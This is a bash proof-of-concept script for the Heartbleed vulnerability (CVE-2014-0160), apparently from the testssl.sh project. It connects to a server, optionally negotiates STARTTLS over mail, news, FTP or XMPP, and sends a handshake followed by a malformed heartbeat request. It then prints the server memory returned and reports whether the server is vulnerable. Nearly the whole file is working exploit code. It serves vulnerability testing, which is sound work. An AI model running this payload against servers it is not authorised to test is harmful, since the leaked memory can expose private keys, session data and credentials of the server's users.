#!/usr/bin/env bash # POC bash socket implementation of heartbleed (CVE-2014-0160), see also http://heartbleed.com/ # Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt # # sockets inspired by http://blog.chris007.de/?p=238 # heartbleed mainly adapted from https://gist.github.com/takeshixx/10107280 # # handshakes from RFCs. Good source too: https://github.com/ioerror/sslscan/blob/master/sslscan.c # ###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! ####### readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }' trap "cleanup" QUIT EXIT [ -z "$1" ] && exit 1 NODE="$1" PORT="443" JABBERNODE=${JABBERNODE} SLEEP=2 MAXSLEEP=10 SOCKREPLY="" COL_WIDTH=32 DEBUG=${DEBUG:-0} HELLO_READBYTES=${HELLO_READBYTES:-65535} # TLS 1.0=x01 1.1=0x02, 1.2=0x3 TLSV=${2:-01} heartbleed_payload="\x18\x03\x$TLSV\x00\x03\x01\x40\x00" ## ^^^^^^^ this is the whole thing! client_hello=" # TLS header (5 bytes) ,x16, # Content type (x16 for handshake) x03, x$TLSV, # TLS Version x00, xdc, # Length # Handshake header x01, # Type (x01 for ClientHello) x00, x00, xd8, # Length x03, x$TLSV, # TLS Version # Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html x53, x43, x5b, x90, x9d, x9b, x72, x0b, xbc, x0c, xbc, x2b, x92, xa8, x48, x97, xcf, xbd, x39, x04, xcc, x16, x0a, x85, x03, x90, x9f, x77, x04, x33, xd4, xde, x00, # Session ID length x00, x66, # Cipher suites length # Cipher suites (51 suites) xc0, x14, xc0, x0a, xc0, x22, xc0, x21, x00, x39, x00, x38, x00, x88, x00, x87, xc0, x0f, xc0, x05, x00, x35, x00, x84, xc0, x12, xc0, x08, xc0, x1c, xc0, x1b, x00, x16, x00, x13, xc0, x0d, xc0, x03, x00, x0a, xc0, x13, xc0, x09, xc0, x1f, xc0, x1e, x00, x33, x00, x32, x00, x9a, x00, x99, x00, x45, x00, x44, xc0, x0e, xc0, x04, x00, x2f, x00, x96, x00, x41, xc0, x11, xc0, x07, xc0, x0c, xc0, x02, x00, x05, x00, x04, x00, x15, x00, x12, x00, x09, x00, x14, x00, x11, x00, x08, x00, x06, x00, x03, x00, xff, x01, # Compression methods length x00, # Compression method (x00 for NULL) x00, x49, # Extensions length # Extension: ec_point_formats x00, x0b, x00, x04, x03, x00, x01, x02, # Extension: elliptic_curves x00, x0a, x00, x34, x00, x32, x00, x0e, x00, x0d, x00, x19, x00, x0b, x00, x0c, x00, x18, x00, x09, x00, x0a, x00, x16, x00, x17, x00, x08, x00, x06, x00, x07, x00, x14, x00, x15, x00, x04, x00, x05, x00, x12, x00, x13, x00, x01, x00, x02, x00, x03, x00, x0f, x00, x10, x00, x11, # Extension: SessionTicket TLS x00, x23, x00, x00, # Extension: Heartbeat x00, x0f, x00, x01, x01 " #msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'` msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n') parse_hn_port() { # strip "https", supposed it was supplied additionally echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' ` # strip trailing urlpath NODE=`echo $NODE | sed -e 's/\/.*$//'` # determine port, supposed it was supplied additionally echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'` echo -e "\n===> connecting to $NODE:$PORT\n" } debugme() { [[ $DEBUG -ge 2 ]] && "$@" } wait_kill(){ pid=$1 maxsleep=$2 while true; do if ! ps $pid >/dev/null ; then return 0 # didn't reach maxsleep yet fi sleep 1 maxsleep=$((maxsleep - 1)) test $maxsleep -eq 0 && break done # needs to be killed kill $pid >&2 2>/dev/null wait $pid 2>/dev/null return 3 # killed } socksend() { data=`echo $1` echo "\"$data\"" echo -en "$data" >&5 & sleep $SLEEP } sockread() { [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2 ret=0 ddreply=$(mktemp /tmp/ddreply.XXXXXX) || return 7 dd bs=$1 of=$ddreply count=1 <&5 2>/dev/null & wait_kill $! $maxsleep ret=$? SOCKREPLY=$(cat $ddreply) [ $DEBUG -eq 0 ] && rm $ddreply return $ret } starttls_just_read(){ echo "=== just read banner ===" cat <&5 & wait_kill $! $SLEEP } # arg1: string to send # arg2: possible success strings a egrep pattern, needed! starttls_line0() { reply=$(mktemp /tmp/reply.XXXXXX) || return 7 debugme echo -e "\n=== sending \"$1\" ..." echo -e "$1" >&5 dd bs=1024 of=$reply count=32 <&5 2>/dev/null & wait_kill $! $SLEEP debugme echo "... received result: " cat $reply if [ -n "$2" ]; then if grep -Eq "$2" $reply; then debugme echo "---> reply matched \"$2\"" [ $DEBUG -eq 0 ] && rm $reply return 0 else debugme echo "---> reply didn't match \"$2\", see $reply" fixme "STARTTLS handshake problem" exit 1 fi fi } starttls_line1() { echo "$1" >&5 while true; do read line <&5 echo $line break done } fixme(){ tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0 } fd_socket(){ local jabber="" if ! exec 5<> /dev/tcp/$NODE/$PORT; then echo "`basename $0`: unable to connect to $NODE:$PORT" exit 2 fi case "$1" in # port 21) # https://tools.ietf.org/html/rfc4217 starttls_just_read starttls_line0 "FEAT" "211" #starttls_line0 HELP "214" starttls_line0 "AUTH TLS" "successful|234" ;; 25) # SMTP, see https://tools.ietf.org/html/rfc4217 starttls_just_read starttls_line0 "EHLO testssl.sh" "220|250" starttls_line0 "STARTTLS" "220" ;; 110) # POP, see https://tools.ietf.org/html/rfc2595 starttls_just_read starttls_line0 "STLS" "OK" ;; 119|433) # NNTP, see https://tools.ietf.org/html/rfc4642 starttls_just_read starttls_line0 "CAPABILITIES" "101|200" starttls_line0 "STARTTLS" "382" ;; 143) # IMAP, https://tools.ietf.org/html/rfc2595 starttls_just_read starttls_line0 "a001 CAPABILITY" "OK" starttls_line0 "a002 STARTTLS" "OK" ;; 389) # LDAP, https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511 fixme "LDAP: FIXME not yet implemented" exit 1 ;; 674) # ACAP = Application Configuration Access Protocol, see https://tools.ietf.org/html/rfc2595 fixme "ACAP: FIXME not yet implemented" exit 1 ;; 5222) # XMPP, see https://tools.ietf.org/html/rfc6120 starttls_just_read # following would be without hostname, jabber.org doesn't need it, others do! #starttls_line0 "\r\n" [ -z $JABBERNODE ] && JABBERNODE="$NODE" # as ioerror says: $NODE is not always the correct one, some jabber implementations need a special hostname! # supply $JABBERNODE in ENV and you're set, like: DEBUG=2 JABBERNODE=google.com ./heartbleed.bash talk.google.com:5222 jabber=$(cat < EOF ) starttls_line0 "$jabber" starttls_line0 "" "proceed" # BTW: https://xmpp.net ! ;; 443|995|993|465|*) # we don't need a special pre-command here ;; esac echo } close_socket(){ exec 5<&- exec 5>&- return 0 } cleanup() { close_socket } #### main parse_hn_port "$1" fd_socket $PORT echo "##### sending standard client hello with TLS version 03,$TLSV:" socksend "$msg" $TLSV sockread $HELLO_READBYTES echo "##### reading server hello ($HELLO_READBYTES bytes):" echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -10 echo "[...]" echo if [ 1 -ge $(echo "$SOCKREPLY" | xxd | wc -l) ]; then tput bold; tput setaf 5; echo "TLS handshake failed"; tput sgr0 exit 1 fi echo "###### sending payload with TLS version 03,$TLSV:" socksend $heartbleed_payload $TLSV sockread 65534 echo "###### heartbleed reply: " echo "=============================" echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -20 echo "=============================" if [ $(echo "$SOCKREPLY" | xxd | wc -l) -gt 1 ]; then tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0 ret=1 else tput bold; tput setaf 2; echo "ok"; tput sgr0 ret=0 fi echo exit $ret # vim:ts=5:sw=5:expandtab # $Id: heartbleed.bash,v 1.14 2015/07/06 19:26:38 dirkw Exp $